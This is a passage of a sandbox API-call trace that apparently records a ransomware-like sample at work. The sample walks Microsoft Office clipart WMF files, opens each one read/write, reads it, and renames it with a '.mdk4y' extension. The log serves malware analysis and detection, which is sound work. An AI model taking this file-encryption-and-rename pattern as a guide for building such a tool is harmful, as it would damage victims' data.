[0165.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239943.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239943.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.101] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.102] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824033200000) returned 1 [0165.102] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1998, lpOverlapped=0x0) returned 1 [0165.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824037600000) returned 1 [0165.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824037600000) returned 1 [0165.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf.mdk4y")) returned 1 [0165.148] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.148] AreFileApisANSI () returned 1 [0165.148] GetACP () returned 0x4e4 [0165.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239951.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239951.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.148] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824037800000) returned 1 [0165.149] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1c40, lpOverlapped=0x0) returned 1 [0165.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824038000000) returned 1 [0165.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824038000000) returned 1 [0165.151] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239951.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239951.wmf.mdk4y")) returned 1 [0165.151] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.151] AreFileApisANSI () returned 1 [0165.151] GetACP () returned 0x4e4 [0165.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239953.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239953.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.151] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824038200000) returned 1 [0165.152] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1bc8, lpOverlapped=0x0) returned 1 [0165.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824054000000) returned 1 [0165.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824054000000) returned 1 [0165.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239953.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239953.wmf.mdk4y")) returned 1 [0165.312] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.312] AreFileApisANSI () returned 1 [0165.312] GetACP () returned 0x4e4 [0165.312] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239955.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239955.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.312] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.313] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824054300000) returned 1 [0165.313] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1348, lpOverlapped=0x0) returned 1 [0165.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824056400000) returned 1 [0165.335] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824056400000) returned 1 [0165.335] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.mdk4y")) returned 1 [0165.336] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.336] AreFileApisANSI () returned 1 [0165.336] GetACP () returned 0x4e4 [0165.336] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239965.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239965.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.336] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824056700000) returned 1 [0165.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1720, lpOverlapped=0x0) returned 1 [0165.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824059400000) returned 1 [0165.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824059400000) returned 1 [0165.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.mdk4y")) returned 1 [0165.365] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.365] AreFileApisANSI () returned 1 [0165.365] GetACP () returned 0x4e4 [0165.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239967.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239967.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.365] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824059600000) returned 1 [0165.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x154c, lpOverlapped=0x0) returned 1 [0165.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824060600000) returned 1 [0165.376] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824060600000) returned 1 [0165.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.mdk4y")) returned 1 [0165.378] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.378] AreFileApisANSI () returned 1 [0165.378] GetACP () returned 0x4e4 [0165.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239973.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239973.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.378] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.379] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824060900000) returned 1 [0165.379] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13e8, lpOverlapped=0x0) returned 1 [0165.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824061500000) returned 1 [0165.385] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824061500000) returned 1 [0165.385] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf.mdk4y")) returned 1 [0165.386] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.386] AreFileApisANSI () returned 1 [0165.386] GetACP () returned 0x4e4 [0165.386] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239975.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239975.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.386] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.387] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824061700000) returned 1 [0165.387] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xda0, lpOverlapped=0x0) returned 1 [0165.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824062600000) returned 1 [0165.396] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824062600000) returned 1 [0165.396] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.mdk4y")) returned 1 [0165.401] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.401] AreFileApisANSI () returned 1 [0165.401] GetACP () returned 0x4e4 [0165.401] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0239997.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0239997.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.401] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063100000) returned 1 [0165.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xcd8, lpOverlapped=0x0) returned 1 [0165.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063300000) returned 1 [0165.403] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063300000) returned 1 [0165.403] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.mdk4y")) returned 1 [0165.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.404] AreFileApisANSI () returned 1 [0165.404] GetACP () returned 0x4e4 [0165.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240157.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240157.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063500000) returned 1 [0165.405] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1df8, lpOverlapped=0x0) returned 1 [0165.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063700000) returned 1 [0165.407] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063700000) returned 1 [0165.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.mdk4y")) returned 1 [0165.408] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.408] AreFileApisANSI () returned 1 [0165.408] GetACP () returned 0x4e4 [0165.408] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240175.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240175.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.408] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.409] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824063900000) returned 1 [0165.409] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa410, lpOverlapped=0x0) returned 1 [0165.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824064000000) returned 1 [0165.411] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824064100000) returned 1 [0165.411] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.mdk4y")) returned 1 [0165.412] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.412] AreFileApisANSI () returned 1 [0165.412] GetACP () returned 0x4e4 [0165.412] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240189.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240189.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.412] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.413] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824064300000) returned 1 [0165.413] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdc4, lpOverlapped=0x0) returned 1 [0165.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824068400000) returned 1 [0165.454] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824068400000) returned 1 [0165.455] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.mdk4y")) returned 1 [0165.456] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.457] AreFileApisANSI () returned 1 [0165.457] GetACP () returned 0x4e4 [0165.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0240291.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0240291.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.457] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824068800000) returned 1 [0165.458] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1476, lpOverlapped=0x0) returned 1 [0165.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824068900000) returned 1 [0165.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824068900000) returned 1 [0165.460] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.mdk4y")) returned 1 [0165.461] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.461] AreFileApisANSI () returned 1 [0165.461] GetACP () returned 0x4e4 [0165.461] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241019.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241019.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0165.465] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824069500000) returned 1 [0165.465] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x92e, lpOverlapped=0x0) returned 1 [0165.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824069700000) returned 1 [0165.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1824069700000) returned 1 [0165.467] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.mdk4y")) returned 1 [0165.468] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0165.468] AreFileApisANSI () returned 1 [0165.468] GetACP () returned 0x4e4 [0165.468] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0241037.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0241037.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0165.468] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), 